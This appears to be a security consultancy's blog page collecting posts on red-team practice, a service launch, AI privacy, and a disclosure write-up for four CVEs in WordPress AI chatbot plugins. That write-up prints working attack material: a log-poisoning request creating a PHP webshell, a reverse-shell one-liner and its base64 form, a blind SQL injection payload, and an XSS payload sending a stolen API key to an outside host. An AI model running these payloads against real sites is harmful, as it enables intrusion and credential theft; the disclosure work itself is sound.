Experiencing a Security Breach?
contact@prisminfosec.com +44 (0) 1242 652 100 +44 (0) 1242 652 100

Category: Cyber security assessments

Managing Risk in Red Team Engagements

Posted on by Prism Admin

In today’s rapidly evolving digital landscape, organizations face an ever-growing array of cyber threats. To stay ahead, many are turning to red team testing – a proactive approach where skilled cybersecurity professionals simulate real-world attacks to uncover misconfigurations, vulnerabilities, and inconsistent security behaviours. However, as with any initiative, red team testing carries its own set of risks. Effectively managing these risks through a risk management strategy is crucial to ensuring that the testing process not only strengthens security but also avoids unintended consequences.

Understanding the Scope and Objectives

Before launching a red team exercise, it’s vital to have a clear understanding of the test’s scope and objectives. Define what you aim to achieve – whether it’s identifying gaps in defences, testing incident response protocols, or evaluating the resilience of critical assets. This clarity will help you manage expectations, design a suitable test plan, and mitigate risks associated with scope creep, which can lead to unexpected disruptions.

Tip for clients: Engage stakeholders early in the planning process to align the red team’s objectives with the organization’s overall security strategy.

Mitigating Operational Disruption

Red team exercises often involve simulating sophisticated attacks, which can inadvertently disrupt normal business operations. To mitigate this risk, agreeing a defined methodology with the red team to understand critical elements within the business and where additional care needs to be taken is critical.

This is tricky to get right, as testing needs to demonstrate real world impact to have value to the organisation. A good red team wants to exercise an organisation’s detect, respond, and recover capabilities, as it provides a controlled situation to evaluate and improve those capabilities before a real-world adversary achieves the same level of access.

Furthermore, every risk management strategy should incorporate a clear communication plan with regular check points and out of band direct communication between the client and testers to minimise disruption and keep stakeholders informed.

Tip for clients: Test plans should include the risk management strategy; ensure your views and knowledge of your environment is taken into account during the drafting of the test plan, or during a risk workshop phase with your red team provider.

Ensuring Legal and Ethical Compliance

One of the biggest risks in red team testing is the potential for legal and ethical breaches. Unauthorized access to systems, data exfiltration, or crossing jurisdictional boundaries can lead to severe legal consequences and damage to an organisation’s reputation.

Tip for clients: Work closely with legal and compliance teams to ensure all testing activities are within legal and ethical boundaries. Obtain necessary permissions and ensure the red team operates with strict adherence to agreed-upon rules of engagement.

Protecting Sensitive Data

During red team testing, there’s a risk that sensitive data could be exposed, either accidentally or intentionally. Red Teams will spend a lot of time digging through corporate data repositories (colloquially known as ‘dumpster diving’) to identify valuable material that enable the test to continue. Whilst conducting this activity, the red team operator will often need to download the material first before opening it, and often they have no clue what material is inside a document they have decided to take beforehand. Unless explicitly required to, they will only take the bare minimum necessary to achieve their objectives, however inadvertent collection can still occur and can lead to exposure of sensitive material. This exposure can lead to data breaches, regulatory penalties, and loss of trust. Understanding how sensitive data will be handled in an engagement can be vital. Where Command and Control (C2) implant frameworks are used for red team engagements, ensuring they make use of strong encryption in transit is important. Equally important however is the consideration of the secure data handling of client material after it has been taken. Ensure red team providers have clear controls which define who will have access to the data, how long the data is kept for, and if the data is encrypted on the red team’s servers. If the material is sensitive and unrelated to testing, the red team should still make their client aware of its location so that suitable measures can be taken to remediate the issue.

Tip for clients: If sensitive data is found during testing, make a record of it. If it requires immediate remediation, then ensure you have a suitable cover story in place for remediating it, that does not expose the red team engagement. After the engagement conduct an audit to see how long it was exposed, who accessed it, and what controls are needed to prevent it from occurring again.

Planning for Incident Response

Even though red team testing is controlled, it is possible, and even likely that at some point the exercise could trigger an actual security incident, especially if the red team uncovers previously unknown vulnerabilities. Keep in mind the purpose of some of these tests is to exercise that response capability. Curtailing a response too soon robs the security team of valuable training and can undermine secrecy of the test – essentially wasting the effort, and cost, the business is investing in conducting the red team test in the first place.

Tip for clients: Understand your thresholds for when to curtail incident responses; balance this against the limitations from halting an investigation too early and the impact this has on exercising business process and incident playbooks.

Learning and Adapting

Finally, the goal of red team testing is not just to identify misconfigurations, vulnerabilities, and inconsistent security behaviours, but to learn from them and adapt. This requires a structured approach to analysing the findings, developing a remediation plan, implementing necessary changes, and continuously improving your security posture. This should extend beyond technical controls and include elements such as incident playbooks, staff upskilling and training opportunities, and policy adjustments.

Tip for clients: Establish a post-test review process where lessons learned are documented and shared with relevant teams. Use these insights to refine your security strategies and prepare for future red team exercises.

Conclusion

Cybersecurity red team testing is a powerful tool for identifying weaknesses and strengthening defences. However, the risks associated with such testing must be carefully managed to ensure that the exercise delivers value without causing unintended harm. By understanding the scope, mitigating operational disruptions, ensuring legal compliance, protecting sensitive data, preparing for incident response, and committing to continuous improvement, organisations can navigate the complexities of red team testing and bolster their cybersecurity resilience.

Remember, in the world of cybersecurity, it’s not just about identifying vulnerabilities – it’s about managing the risks that come with discovering them.

Understanding the Difference Between Red Teams and Penetration Testing in Cybersecurity

Posted on by Prism Admin

Penetration Testing and Red Teaming are both valuable, important, and focussed in their own ways. Too often Penetration Tests are used to assess a system and it is a rinse and repeat of the previous year’s test results, and the organisation states that they have documented and accepted the risks often due to budgetary reasons because those reports lack impact on what those risks actually mean for the entire organisation. What Red Teaming does well is demonstrate that accepting the risks in System A, System B, and System C, and then linking them together with fibre and copper can result in a huge organisational problems that can result in legal, financial, and reputational damage. However, this comes at huge cost, significant resource requirements, and potential business disruptions.

Whilst these services are different, they are complimentary, but we need to understand how they work, and what they are seeking to deliver.

Penetration Testing: A Targeted Security Assessment

Penetration Testing, commonly known as “pen testing,” is a focused security assessment that evaluates a specific system, network, or application for vulnerabilities and misconfigurations. It is a deep dive focussed on a specific area dictated by the client’s requirements. The goal is to identify vulnerabilities that could be exploited by malicious actors. Here is what sets penetration testing apart:

  1. Scope and Focus: Penetration testing typically has a defined scope, targeting specific areas within an organization’s IT infrastructure, usually dictated by a client or by a requirement they have. For instance, a pen test may focus solely on a web application, a network segment, or a particular service. Testing often takes place in non-production, development, or reference environments, where the risk of business disruption is minimised. It focusses on coverage over stealth of the area they have been scoped to assess.
  2. Methodology: Penetration testers follow a structured methodology, often based on established frameworks like OWASP (for web applications) or NIST (for broader infrastructure). The process involves information gathering, vulnerability identification, exploitation attempts, and reporting.
  3. Objective: The primary objective of a penetration test is to find and exploit vulnerabilities and misconfigurations before they can be exploited before threat actors. The focus is on depth, ensuring that all vulnerabilities within the defined scope are uncovered.
  4. Frequency: Pen tests are usually conducted on a periodic basis, such as quarterly or annually, or when significant changes are made to the system.
  5. Impact: Pen test reports often go to IT, system, or project managers as part of a system upgrade or review. Rarely are they escalated to senior leadership and often budgets to fix issues are tightly constrained as how those systems integrate into the wider ecosystem of the organisation is not often considered.

Red Teaming: A Holistic, Adversarial Approach

Red Teaming, on the other hand, is a more comprehensive and adversarial exercise designed to evaluate the organisation’s overall security posture. It simulates a real-world attack scenario where the “Red Team” takes on the role of a motivated adversary. Here’s how red teaming differs from penetration testing:

  1. Scope and Focus: Red teaming has a broader, more flexible scope. Unlike penetration testing, which targets specific systems, red teaming evaluates an organisation’s entire defence mechanisms. This can include physical security, human factors, and business processes dependent on what has been agreed with the client – often this is modelled on the capabilities of specific threat actors. However, the Red Team can attack any part of the organisation to achieve its objectives. Red teaming should occur in Production, after all that is where the threat actors will operate and where the defences really matter. However, this comes with significant increased risk of business disruption, so a red team will often have a dedicated risk manager to oversee the testing to ensure that those risks are recognised and controlled.
  2. Methodology: The Red Team uses tactics, techniques, and procedures (TTPs) similar to those of actual threat actors. The approach is less structured and more creative, often involving social engineering, phishing, and live system manipulation techniques. The objective is not just to find vulnerabilities but to exploit them in a way that mimics a real attack. Every step along a red team’s attack path however should be focussed on what is needed to achieve their objective. They are not going to find every issue in an environment, but like water they will find the cracks and crevices within the organisation and follow those in the path of least resistance to achieve their goals, whilst simultaneously exercising the organisation’s knowledge and defences of those issues.
  3. Objective: The goal of red teaming is to assess the organization’s detection and response capabilities. The Red Team aims to bypass defences, evade detection, and achieve a predefined objective, such as data exfiltration or system compromise, without being caught.
  4. Frequency: Red Team engagements are typically less frequent than penetration tests due to their complexity and scope. They are often conducted annually or in response to specific threat scenarios.
  5. Impact: Due to their cost and complexity, organisations often require board level buy in to fund and commit to an engagement. This has the benefit that the reporting and presentations will often be heard at the most impactful layer of an organisation. Tangible outcomes, and recognition of inherent risks the organisation is carrying are made manifest to the board, so that investment can be made before an adversary can locate and abuse the same issues.

Complementary Roles in Cybersecurity

While penetration testing and red teaming serve different purposes, they are not mutually exclusive. In fact, they complement each other within a robust cybersecurity strategy:

  • Penetration testing helps organisations find and fix specific vulnerabilities, ensuring that systems are secure against known threats.
  • Red Teaming provides a broader assessment, identifying gaps in the organisation’s defences that may not be apparent during a typical pen test.

By understanding and leveraging both approaches, organisations can better prepare for the myriad of threats they face. Penetration testing strengthens the foundation, while red teaming ensures that even the most sophisticated attack vectors are accounted for.

Conclusion

In summary, penetration testing, and red teaming are two critical components of a comprehensive cybersecurity strategy. Penetration testing offers a deep dive into specific vulnerabilities, while red teaming provides a wide-angle view of the organization’s overall security posture. By combining both, organisations can build stronger defences and better protect their most valuable assets.

The Value of Red Teams – Delivering Impact through Analogies

Posted on by Prism Admin

In this blog post, we will explore how red teaming helps identify and then translate intricate technical risks into comprehensible business language, ensuring that stakeholders understand the implications and can take appropriate actions to safeguard their organisations.

Understanding Red Teaming

Red teaming is a structured process where cybersecurity professionals simulate real world threats to help an organisation exercise their defence technologies, training, and processes. Originally derived from military practices, red teaming has been widely adopted in cybersecurity to simulate real-world attack scenarios, identify vulnerabilities, and evaluate the effectiveness of security measures.

The primary objectives of red teaming include:

  • Identifying weaknesses in systems and processes before malicious actors can exploit them.
  • Testing response capabilities and preparedness for potential security incidents.
  • Providing actionable insights  to strengthen defences and mitigate risks.

While the technical findings from red team exercises are invaluable, their true effectiveness lies in how well these insights are communicated to and understood by business stakeholders.

The Challenge of Communicating Technical Risks

Technical professionals often face challenges when conveying complex security issues to non-technical audiences.

These challenges include:

  • Technical Jargon:  Excessive use of specialized terminology can alienate and confuse stakeholders.
  • Abstract Concepts: Some technical risks are abstract and lack tangible context, making them difficult to grasp.
  • Underestimating Impact: Without clear communication, business leaders may underestimate the severity or relevance of certain risks.

Effective communication requires translating technical findings into clear, concise, and relevant information that highlights the business implications of identified risks.

Implementing Effective Communication Strategies

Running red team exercises can help identify issues but translating them into effective information is a massive challenge, and can undermine the value of the test if done poorly.

Cybersecurity professionals are experts at identifying and remediating vulnerabilities, but many do not understand business, or struggle with translating their language into one that business can use effectively.

My advice for cybersecurity professionals, from testers to CISOs is to consider the following when you want to help your non-technical peers understand your concerns:

1. Know Your Audience: Understand the knowledge level and concerns of your stakeholders to tailor the communication accordingly.

2. Use Clear and Concise Language: Avoid unnecessary technical jargon and present information straightforwardly.

3. Leverage Storytelling: Incorporate narratives and analogies to make the information relatable and memorable.

4. Highlight Business Implications: Clearly connect technical findings to potential business outcomes, including financial, operational, and reputational impacts.

5. Provide Actionable Recommendations: Offer clear steps and solutions to address identified risks, facilitating informed decision-making.

In my many years of experience in security testing systems, I have found that the most effective manner to communicate with c-suite executives, regulators, and non-technical audiences is the art of storytelling.

I look at what my red team achieved and break it down into its most simplified format to turn it into a story which can be appreciated by all, by using analogies.

Analogies can help then make that story real to the audience by making it personal to them using common shared experiences. We can then focus our message by explicitly explaining the threats that exist from the inherent risks related to the issue.

The Power of Analogies in Risk Communication

Analogies serve as powerful tools to bridge the understanding gap between technical experts and business leaders. By relating unfamiliar technical concepts to familiar experiences, analogies make complex information more relatable and easier to comprehend.

Benefits of Using Analogies

  1. Simplification: Analogies distil complex ideas into simple, understandable terms.
  2. Engagement: They capture attention and make the information more engaging.
  3. Retention: People are more likely to remember concepts presented through relatable stories or comparisons.
  4. Decision Making: Clear understanding facilitates better and faster decision-making processes.

Translating Technical Risks through Effective Analogies

When crafting an analogy from technical risks we need to think carefully about what message we want our audience to take away from it. Analogies do not need to be long to have impact – one of the most effective analogies I have seen used to explain how poor the security of a system was from a security test was summed up as:

“This test was like big game hunting in a zoo.”

While blunt, it did server as a useful strapline to set the tone that the test identified numerous big issues which required little to no skill to uncover or abuse.

Building on such a strapline though is necessary, as this alone does not help the business understand the impact of the test or understand the underlying issues. Therefore we need to get a little bit more creative. Here are some examples of what we could do to build on this concept.

Example 1: Vulnerability Exploitation

Technical Description: The red team discovered a critical vulnerability in a company’s web application that allows unauthorised access to sensitive customer data.

Analogy: “Think of our web application as a shop in the town that is your company. This shop has a hidden backdoor that is not locked. Right now, anyone who knows about this door can walk right in and access the till, help themselves to stock, and look at the customer list. We need to secure this backdoor immediately to protect our customers and maintain their trust.”

Business Impact Translation:

  • Financial Risk: Potential fines from regulatory bodies due to data breaches.
  • Reputation Risk: Loss of customer trust leading to decreased sales and market share.
  • Operational Risk: Disruption of services and increased costs associated with incident response and remediation.

Example 2: Insufficient Incident Response Plan

Technical Description: The organisation’s incident response plan lacks clear procedures and is not regularly tested, leading to potential delays in addressing security breaches.

Analogy: “Imagine our company’s security like a fire drill that no one has practiced. If a fire breaks out, chaos ensues because people are not sure where to go or what to do, leading to greater damage and panic. Regularly practicing and updating our incident response plan ensures that we can act swiftly and effectively when a security ‘fire’ occurs.”

Business Impact Translation:

  • Extended Downtime: Slow response increases recovery time, affecting productivity and revenue.
  • Increased Damage: Delays allow threats to cause more extensive harm to systems and data.
  • Regulatory Consequences: Inefficient response may not meet compliance requirements, resulting in penalties.

Example 3: Lack of Employee Security Awareness

Technical Description: Employees are not adequately trained in security best practices, making them susceptible to phishing attacks and social engineering.

Analogy: “Our employees are like the guards of our castle, but without proper training, they might unknowingly open the gates to enemies disguised as friends. Providing comprehensive security training, and sufficient tools equip them with the knowledge and capabilities to recognise and block these disguised threats, keeping our ‘castle’ safe.”

Business Impact Translation:

  • Data Breaches: Increased likelihood of sensitive information being compromised.
  • Financial Losses: Costs associated with breach mitigation and potential fraud.
  • Brand Damage: Publicised security incidents can harm the company’s reputation and customer confidence.

Example 4: Misconfigured Identity and Access Management Systems

Technical Description: The red team identified that a server which had been delegated authority to access and change records in an Active Directory making them susceptible to take over by threat actors.

Analogy: “Think of this server like a shop in the town that is your company. At the back of the shop is an unlocked door which opens our into the town hall records department. The shopkeeper or any threat actor who breaks into the shop can use the backdoor to not only look at the town hall records of every citizen of the town, but also the records of every shop and house within the town and can change those records to make it look like they live or own that instead. We need to demolish this backdoor, review the town hall, and audit the town records to check no one has abused this and that other backdoors do not exist.”

Business Impact Translation:

  • Financial Risk: Potential fines from regulatory bodies due to data breaches.
  • Brand Damage: Publicised security incidents can harm the company’s reputation and customer confidence.
  • Operational Risk: Disruption of services and increased costs associated with incident response and remediation.
  • Data Breaches: Increased likelihood of sensitive information being compromised.

Conclusion

Red teaming is an essential practice for proactively identifying and mitigating technical risks within an organisation.

However, the true value of these exercises is realised only when the findings are effectively communicated to business leaders in a language they understand.

Utilising analogies and clear, impactful messaging bridges the gap between technical complexity and business comprehension, enabling organizations to make informed decisions that strengthen their security posture and resilience. By investing in effective communication strategies, organisations not only enhance their ability to respond to current threats but also foster a culture of security awareness and proactive risk management that is critical in today’s digital age.

Email Prism Infosec, complete our Contact Us form or call us on 01242 652100 and ask for Sales to setup an initial discussion.

Prism Infosec launches PULSE agile red team engagement service

Posted on by Prism Admin

Prism Infosec, the independent cybersecurity consultancy, has announced the launch of its innovative PULSE testing service to enable organisations which may not have the bandwidth or resource to dedicate to a full-scale red team exercise to assess their defence capabilities against real-world threats. PULSE addresses the gap that currently exists between penetration testing and red teaming which can prevent organisations from gaining an accurate understanding of their security posture and provides an agile alternative that utilises an intensive testing approach.

Penetration Tests are contained evaluations that assess security boundaries and controls of distinct systems that excel at the analysis of specific vulnerabilities contained to specific control planes of individual systems. In contrast, red teaming is a real-world test of the organisation’s defences against threat actor activities and capabilities which sees the tester adopt a more opportunistic approach that more closely mirrors the attacks the business could expect to be subjected to. PULSE has been devised to bridge the gap between the two different approaches using threat actor simulation.

PULSE evaluates the security of an organisation’s perimeter, endpoint security, and environment, from the point of view of a time-limited opportunistic threat actor. Conducted over five days using techniques aligned with the MITRE ATT&CK framework, tests are carried out that are flexible, repeatable and measurable. Suitable for organisations that have invested in security tooling but lack a full-time dedicated Security Operations Centre (SOC) and staff, the timeframe and methods used ensure PULSE tests are not disruptive while still subjecting systems to rigorous assault.

“Red Teaming is a fantastic tool for exercising security tooling, staff, policies, and procedures in a realistic, secure, and safe manner. It does this by taking the Tactics, Techniques and Procedures (TTPs) of genuine cyber threat actors and applies them in intelligence led scenarios which can span multiple weeks. However, not every organisation is ready for the cost, time, and effort that a full red team engagement requires to deliver value for the business,” explains David Viola, Head of Red Team at Prism Infosec.

“It’s here where PULSE comes in, allowing the organisation to real-world test its systems but without the commitment or disruption associated with red teaming. The PULSE tests emulate the approach an opportunistic cyber threat actor would take when seeking to breach the perimeter, establish a foothold, and compromise the environment all within the space of a working week.”

The PULSE methodology is designed to rapidly test multiple different payloads and delivery mechanisms similar in approach to purple teaming which combines offensive and defensive tactics and involves the following steps:

• Scoping – Red Team consultants capture the information needed for a successful engagement.
• PULSE Test Plan – A tailored test plan is devised based upon the PULSE methodology and the findings from the scoping questionnaire.
• PULSE Preparation – The client provides the pre-requisites while the consultant prepares payloads, infrastructure, and tooling.
• PULSE Perimeter Assessment – Testing begins with an assessment of the perimeter using different payload delivery techniques.
• PULSE Attack Surface Assessment – Successful payloads are tested against installed security solutions to establish which trigger an alert, which ones are blocked, and which penetrate the business.
• PULSE Environment Assessment – Using a successful payload, an assessment is made of how far a threat actor would be able to penetrate the environment.
• PULSE Report – The outcomes of all three phases are then documented, along with recommendations to harden the environment and suggestions and advice for follow-up testing to improve security posture.

PULSE can also be customised to enable testing specific to the customer environment, such as through the addition of physical testing using social engineering and physical breach techniques.

Phil Robinson, CEO at Prism Infosec, adds: “Our commitment to advancing our technical capabilities has led us to create a service that effectively bridges the gap between Penetration Testing and Red Teaming. With PULSE, we’re making this high level of technical expertise accessible to organisations of all sizes. I’m thrilled to introduce PULSE to our clients and look forward to seeing the impact it will have on their security posture.”

PULSE is the first agile red team service Prism Infosec is announcing as part of a strategic reinvigoration of its red team service offerings. Future plans include a redefined Purple Teaming service and an integrated IR and Red Team service.

More information on PULSE can be found here.

WordPress Plugins: AI-dentifying Chatbot Weak Spots

Posted on by Prism Infosec

AI chatbots have become increasingly prevalent across various industries due to their ability to simulate human-like conversations and perform a range of tasks. This trend is evident in the WordPress ecosystem, where AI chatbot plugins are becoming widely adopted to enhance website functionality and user engagement.

Prism Infosec reviewed the security postures of several open-source WordPress AI Chatbot plugins and identified various issues exploitable from both a high-privilege and unauthenticated perspective.

This post highlights the discovery of four specific Common Vulnerabilities and Exposures (CVEs) within these plugins:

CVE-2024-6451 – AI Engine < 2.5.1 – Admin+ RCE

WPScan: https://wpscan.com/vulnerability/fc06d413-a227-470c-a5b7-cdab57aeab34/

“AI Engine < 2.5.1 is susceptible to remote-code-execution (RCE) via Log Poisoning. The plugin fails to validate the file extension of “logs_path”, allowing Administrators to change log filetypes from .log to .php.

Error messages can then be manipulated to contain arbitrary PHP with the intent to have this echoed in the log file and ultimately executed as legitimate code by the web server, leading to the potential for remote-code-execution.”

At the time of exploitation, the AI Engine version assessed was v2.4.3 – with 2.6m downloads and 70k active installations:

The attack unfolded by enabling Dev Tools via “Settings > Advanced > Enable Dev Tools”.

Within the “Dev Tools” Tab, the “Server Debug” option was enabled to allow for error logging – a pre-requisite for the earlier mentioned Log Poisoning attack.

As part of such attack, a malicious actor attempts to inject specially crafted payloads into log files that exploit vulnerabilities in the log processing or parsing mechanisms.

If these payloads are later executed by the system, webserver or unsafely interpreted by a vulnerable application, they may lead to RCE.


Whilst modifying plugin configurations, it was observed that “logs_path” was user-controllable and could be manipulated with an alternative extension (such as .php).

Navigating to the URL disclosed in “logs_path” presented an array of payloads what were echoed in the log during testing – however, these were benign as the .log extension rendered all payloads to be interpreted as plain text.


The error log extension was subsequently set as .php with the intent to cause the webserver to interpret any PHP payloads within the log as legitimate server-side code:

Request:
POST /wp-json/mwai/v1/settings/update HTTP/1.1
Host: 192.168.178.143
Content-Length: 17702
Pragma: no-cache
Cache-Control: no-cache
X-WP-Nonce: 54c6dd2c07
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://192.168.178.143
Referer: http://192.168.178.143/wp-admin/admin.php?page=mwai_settings&nekoTab=settings
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: -- SNIP --
Connection: keep-alive

{
  "options": {
    "embeddings_default_env": "lohkmfon",
    "ai_default_env": "zl9pvc1h",
    "module_suggestions": true,
    "module_chatbots": true,
    -- SNIP --
    },
    "public_api": true,
    "debug_mode": false,
    "server_debug_mode": true,
    "logs_path": "/opt/bitnami/wordpress/wp-content/uploads/webshell.php"
  }
}

Response:
HTTP/1.1 200 OK
Date: Tue, 18 Jun 2024 09:59:48 GMT

-- SNIP --

{
  "success": true,
  "message": "OK",
  "options": {
    "embeddings_default_env": "lohkmfon",
    -- SNIP –-
    "public_api": true,
    "debug_mode": false,
    "server_debug_mode": true,
    "logs_path": "/opt/bitnami/wordpress/wp-content/uploads/webshell.php",
    "intro_message": true
  }
}


Once the log file was modified to be served as PHP, the next step was to identify an entry field which fully reflected the attacker’s input within the log. In this case, “Organization ID” was found to be fit for purpose:


The payload could then be planted within the log by navigating to the chatbot and submitting a message – which in turn invoked an error:


This echoed the PHP payload within the Admin Logs panel as benign text:

However, the log file itself (which now served as a web shell) could be leveraged to execute system commands on the underlying server:


Once remote-code-execution was confirmed to be possible, the below payload was devised to instruct the remote server to establish a reverse shell connection with the attacker’s IP address and port number (in this case, 192.168.1.93 on port 80). This would effectively allow remote access into the target machine:

Reverse Shell:

sh -i >& /dev/tcp/192.168.1.93/80 0>&1

The above payload did not yield a reverse shell connection and was therefore revised to undergo “base64” decoding with the result piped into “bash“:

Reverse Shell (Base64 Encoded):

echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjkzLzgwIDA+JjE= | base64 -d | bash

As pictured below, a reverse-shell connection was successfully established and remote access into the system was achieved:


The finding was disclosed on WPScan and addressed in version 2.4.8, with further improvements made in version 2.5.1. Big thank you to plugin author Jordy Meow for swiftly fixing the raised vulnerabilities.

CVE-2024-6723 – AI Engine < 2.4.8 – Admin+ SQL Injection

Further testing of the AI Engine plugin had identified an SQL injection vulnerability within one of the admin functionalities. At the time of writing, WPScan has verified the issue and assigned a CVE ID – however, has not publicly released the finding.

As such, technical details have been omitted from this write-up, but it is understood that the issue was addressed in version 2.4.8:


Whilst it is acknowledged that the vulnerabilities affecting AI Engine required administrative access for successful exploitation and therefore the risks were slightly mitigated, the other assessed (and much less popular) AI chatbot plugin was found to be exploitable from a completely unauthenticated perspective.

CVE-2024-6847 – SmartSearch WP <= 2.4.4 – Unauthenticated SQLi

WPScan: https://wpscan.com/vulnerability/baa860bb-3b7d-438a-ad54-92bf8e21e851/

“The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users when submitting messages to the chatbot.”

At the time of exploitation, the SmartSearch WP version assessed was v2.4.2 – with less than 2k downloads and 10+ active installations (30+ at the time of writing):


Unauthenticated users had the ability to perform SQL injection attacks directly via the chatbot:

The below request was intercepted upon sending a message. Here, the SQL SLEEP() function was inserted into vulnerable parameter “unique_conversation”:

Request:
POST /wp-json/wdgpt/v1/retrieve-prompt HTTP/1.1
Host: 192.168.178.143
Content-Length: 195
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.178.143
Referer: http://192.168.178.143/2024/06/17/hello-world/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: keep-alive

{
  "question": "Test",
  "conversation": [
    {
      "text": "Test",
      "role": "user",
      "date": "2024-06-21T12:16:42.179Z"
    }
  ],
  "unique_conversation": "mlg4w8is9cnlxonnq78' AND (SELECT 1 FROM (SELECT SLEEP(25))A) AND '1'='1"
}


A response was received after the amount of time specified in the payload (+3s for processing delay), thereby confirming the presence of a blind SQL injection vulnerability:

It was then possible to use “SQLMap” to automate the time-based process of exfiltrating the database:

The finding was disclosed on WPScan and addressed in version 2.4.5.

CVE-2024-6843 – SmartSearch WP <= 2.4.4 – Unauthenticated Stored XSS

WPScan: https://wpscan.com/vulnerability/9a5cb440-065a-445a-9a09-55bd5f782e85/

“The plugin does not sanitise and escape chatbot conversations, which could allow unauthenticated users to perform Stored Cross-Site Scripting attacks within the Admin ‘Chat Logs’ panel even when the unfiltered_html capability is disallowed (for example in multisite setup).”

During testing, the chatbot was observed to be susceptible to Self-XSS – a type of an injection attack whereby payloads cannot propagate to other users, and are typically executed only in application areas accessible to the person who submitted the payload.

Highlighted below, the payload “<img src=x onerror=alert(10)>” was submitted and immediately the JavaScript alert was executed:

Whilst the impact of self-XSS can be considered negligible, it was observed that the payloads were also successfully stored within the administrative “Chat Logs” area – potentially allowing an attacker to populate chatbot conversations with malicious payloads, to be later executed against a viewing administrator.

Once it was confirmed that JS execution on the admin panel was possible, the below payload was devised to steal the ChatGPT API key from “Settings” and forward it to an attacker-controlled domain:

API Key Hijack Payload:
fetch(‘http://192.168.178.143/wp-admin/admin.php?page=wdgpt’, {
    credentials: ‘include’
}).then(response => response.text()).then(text => new DOMParser().parseFromString(text, ‘text/html’)).then(doc => {
    const key = doc.querySelector(‘#wd_openai_api_key_field’).value;
    fetch(`https://jtgyf4on6gofakn7d59eq33rsiy9m0co1.oastify.com/stolen_gpt_key=${key}`);
});

The above payload was Base64 encoded and passed to eval() for execution:

API Key Hijack Payload (Base64 Encoded):
<script>eval(atob(‘ZmV0Y2goJ2h0dHA6Ly8xOTIuMTY4LjE3OC4xNDMvd3AtYWRtaW4vYWRtaW4ucGhwP3BhZ2U9d2RncHQnLCB7IGNyZWRlbnRpYWxzOiAnaW5jbHVkZScgfSkudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4odGV4dCA9PiBuZXcgRE9NUGFyc2VyKCkucGFyc2VGcm9tU3RyaW5nKHRleHQsICd0ZXh0L2h0bWwnKSkudGhlbihkb2MgPT4geyBjb25zdCBrZXkgPSBkb2MucXVlcnlTZWxlY3RvcignI3dkX29wZW5haV9hcGlfa2V5X2ZpZWxkJykudmFsdWU7IGZldGNoKGBodHRwczovL2p0Z3lmNG9uNmdvZmFrbjdkNTllcTMzcnNpeTltMGNvMS5vYXN0aWZ5LmNvbS9zdG9sZW5fZ3B0X2tleT0ke2tleX1gKTsgfSk7’))></script>


The constructed payload could then be submitted as a message, in the hope that an administrator would later view conversation logs and have the XSS payload executed within their web-browser, in the context of their user session:


As highlighted below, the payload was successfully executed against the viewing administrator and the ChatGPT API key was intercepted by the attacker-controlled server:


The finding was disclosed on WPScan and addressed in version 2.4.5. Prism Infosec would like to thank the WPScan team for seamlessly handling the disclosure process of all discussed vulnerabilities.

Get Tested

If you are integrating or have already integrated AI or chatbots into your systems, reach out to us. Our comprehensive range of testing and assurance services will ensure your implementation is smooth and secure: https://prisminfosec.com/services/artificial-intelligence-ai-testing

All Vulnerabilities were discovered and written by Karolis Narvilas of Prism Infosec.

The Dark side of AI Part 2: Big brother  

Posted on by Prism Infosec

AI: Data source or data sink?

The idea of artificial intelligence is not a new one. For decades, people have been finding ways to emulate the pliable nature of the human brain, with machine learning being mankind’s latest attempt. Artificial intelligence models are expected to be learn how to form appropriate responses to given set of inputs. With each “incorrect” response, the AI’s codebase would iteratively modify its response until a “correct” response is reached without further outside intervention.

To achieve this, the model would be fed with vast amounts of training data, which would typically include the interactions of end-users themselves. With well-known AI models found within ChatGPT and Llama, they would be made available to a large population. That’s a lot of input to capture by a select few entities, and that would have to have been stored [1] somewhere before being fed.

And that is a lot of responsibility for the data holders to make sure that it doesn’t fall into the wrong hands. In fact, in March 2023 [2] OpenAI stated that it will no longer be using customer input as training data for their own ChatGPT model; incidentally, in a later report in July 2024, OpenAI remarked that they had suffered a data breach in early 2023 [3]. Though they claim no customer/partner information had been accessed, at this point we only have their word to go by.

AI Companies are like any other tech company – they still must store and process data, and with this they still have the same sets of targets above their head.

The nature of nurturing AI

As with a child learning from a parent, an AI model would begin to learn from the data it is fed and may begin to spot trends in the datasets. These trends would then manifest in the form of opinions- whereby the AI would attempt to provide a response that it thinks would satisfy the user.

Putting it another way, companies would be able to leverage AI to understand preferences [4] of each user and aim to serve content or services that would closely match their tastes, arguably to a finer level of detail than traditional approaches. User data is too valuable an asset for companies and hackers alike to pass up, and it is no secret that everyone using AI would have a unique profile tailored to them.

Surpassing the creator?

It’s also no secret that in one form or another, these profiles can also be used to influence big decisions. For instance, AI is being increasingly used to aid [5] medical professionals in analysing ultrasound measurements and predicting chronic illnesses such as cardiovascular diseases. The time saved in making decisions is would literally be a matter of life and death.

However, this can be turned on its head if it is used as crutch [6] rather than as an aid. Imagine a scenario where a company is looking to hire and decides to leverage an AI to profile all candidates before an interview. For it to work, the candidate must submit some basic personal information, to which the AI would then scour the internet to look for other pieces of data pertaining to the individual. With potentially hundreds of candidates to choose from, the recruiter may lean upon the services of the AI and base their choice on its decision. Logically speaking, this would be a wise decision, as a recruiter would not want to hire someone who is qualified but has a questionable work ethic or has past history of being a liability.

While this would effectively automate the same processes that a recruiter would do themselves, it would be disheartening for the candidate to be rejected an interview on the basis of their background profile that the AI has created of them which may not be fully accurate, even if they meet the job requirements. Conversely, another candidate may be hired due to a more favourable background profile, but in reality they are underqualified to do the job; in both cases this would not be a true representation of the candidates.

Today, AI is not yet mature enough to discern what is true of a person and what is not- it sees data for what it is and acts upon it regardless. All the while, the AI would continue to violate the privacy of the user and build an imperfect profile which could potentially impact their lives for better or worse.

Final conclusions

